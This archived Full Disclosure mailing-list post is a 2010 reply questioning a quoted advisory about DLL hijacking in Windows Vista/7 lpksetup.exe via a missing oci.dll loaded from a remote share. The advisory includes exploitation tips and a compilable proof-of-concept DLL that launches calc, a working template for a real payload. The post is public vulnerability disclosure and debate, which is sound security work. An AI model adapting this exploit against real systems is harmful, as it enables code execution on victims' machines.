Home page logo
/

fulldisclosure logo Full Disclosure mailing list archives

Re: Windows Vista/7 lpksetup dll hijack
From: "Thor (Hammer of God)" <thor () hammerofgod com>
Date: Mon, 25 Oct 2010 21:34:48 +0000

If you are considering this "Remote Code Execution" then why not just have the victim run an .exe from the "complete 
anonymous share" you've managed to get people connected to and save all the trouble?   This would still run as the user 
context, and if the hijacked DLL tried to do something a normal user couldn't do then it too would be blocked or fail 
anyway.

t

From: full-disclosure-bounces () lists grok org uk [mailto:full-disclosure-bounces () lists grok org uk] On Behalf Of 
Tyler Borland
Sent: Monday, October 25, 2010 1:55 PM
To: Full-Disclosure mailing list
Cc: bugtraq () securityfocus com
Subject: [Full-disclosure] Windows Vista/7 lpksetup dll hijack

/*
Exploit:       Windows Vista/7 lpksetup.exe (oci.dll) DLL Hijacking Vulnerability
Extension:  .mlc
Author:       Tyler Borland (tborland1 () gmail com<mailto:tborland1 () gmail com>)
Date:          10/20/2010
Tested on:  Windows 7 Ultimate (Windows Vista Ultimate/Enterpries and Windows 7 Enterprise should be vulnerable as well)
Effect:        Remote Code Execution

lpksetup is the language pack installer that is included by default with Windows Vista/7 Ultimate or Enterprise 
editions.  By opening a .mlc file through something like an open SMB or WebDav share, the oci.dll file will be grabbed 
and ran in the context of the vulnerable application.

This is a LoadLibrary() load path bug.  The load library search order is:
   1. The directory from which the application loaded
   2. 32-bit System directory (Windows\System32)
   3. 16-bit System directory (Windows\System)
   4. Windows directory (Windows)
   5. Current working directory
   6. Directories in the PATH environment variable
As OracleOciLib is not used on target system, oci.dll does not exist, so if a full path is not supplied when calling 
the dll or the search path has not been cleared before the call, we will hit our fifth search path and load the library 
from the remote filesystem.

Interestingly enough, while lpksetup is blocked for execution by UAC under a normal user, the injected library 
(payload) will still execute.
Exploiters make sure your system's security policy, secpol.msc, allows complete anonymous share access for connecting 
users.
Outlook links seem to be the current exploit toyland, other vectors:  http://www.binaryplanting.com/attackVectors.htm
*/

#include <windows.h>

int main()
{
  WinExec("calc", SW_NORMAL);  // the typical non-lethal PoC
  exit(0);
  return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
  main();
  return 0;
}

/* ~/.wine/drive_c/MinGW/bin/wine gcc.exe lpksetup.c -o oci.dll */
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]
AlienVault